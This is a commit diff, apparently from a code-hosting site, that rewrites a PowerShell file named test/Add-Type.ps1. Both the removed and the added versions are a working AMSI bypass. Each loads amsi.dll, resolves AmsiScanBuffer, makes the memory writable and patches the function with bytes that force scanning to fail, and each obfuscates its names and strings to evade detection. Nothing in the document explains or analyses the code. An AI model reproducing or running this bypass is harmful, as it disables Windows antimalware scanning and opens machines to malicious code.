enotkrutoy commited on
Commit
80983bc
·
verified ·
1 Parent(s): 24de505

Update test/Add-Type.ps1

Browse files
Files changed (1) hide show
  1. test/Add-Type.ps1 +26 -4
test/Add-Type.ps1 CHANGED
@@ -1,4 +1,26 @@
1
- $WIN32 = 'using System; using System.Runtime.InteropServices; public class Win32 { [DllImport("kernel32")] public static extern IntPtr GetProcAddress(IntPtr hModule, string procName); [DllImport("kernel32")] public static extern IntPtr LoadLibrary(string name); [DllImport("kernel32")] public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect); }'
2
- Add-Type ${WIN`32};
3
- ${loaD`LiBR`Ary} = [Win32]::LoadLibrary("am" + ("{0}{1}"-f'si.dl','l'));${A`DDre`sS} = [Win32]::GetProcAddress(${LOadliBr`A`Ry}, ("{1}{0}"-f 'i','Ams') + ("{0}{1}" -f'Sc','an') + ("{1}{0}" -f'er','Buff'));${p} = 0;[Win32]::VirtualProtect(${Ad`dre`SS}, [uint32]5, 0x40, [ref]${p});${P`ATCH} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3);
4
- [System.Runtime.InteropServices.Marshal]::Copy(${PaT`Ch}, 0, ${addr`E`ss}, 6)
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
 
1
+ ${W`i`N32} = @"
2
+ using System;
3
+ using System.Runtime.InteropServices;
4
+
5
+ public class Win32 {
6
+
7
+ [DllImport("kernel32")]
8
+ public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
9
+
10
+ [DllImport("kernel32")]
11
+ public static extern IntPtr LoadLibrary(string name);
12
+
13
+ [DllImport("kernel32")]
14
+ public static extern bool VirtualProtect(IntPtr lpAddress, UIntPtr dwSize, uint flNewProtect, out uint lpflOldProtect);
15
+
16
+ }
17
+ "@
18
+
19
+ Add-Type ${WIn`32}
20
+
21
+ ${LOA`dlI`BR`ARY} = [Win32]::LoadLibrary("am" + ("{1}{0}"-f 'll','si.d'))
22
+ ${aDD`R`Ess} = [Win32]::GetProcAddress(${lo`AD`L`ibRary}, ("{1}{0}"-f 'si','Am') + ("{0}{1}"-f'Sc','an') + ("{0}{1}"-f'Bu','ffer'))
23
+ ${P} = 0
24
+ [Win32]::VirtualProtect(${A`dDrESS}, [uint32]5, 0x40, [ref]${P})
25
+ ${Pat`CH} = [Byte[]] (0xB8, 0x57, 0x00, 0x07, 0x80, 0xC3)
26
+ [System.Runtime.InteropServices.Marshal]::Copy(${p`A`Tch}, 0, ${A`DDrE`ss}, 6)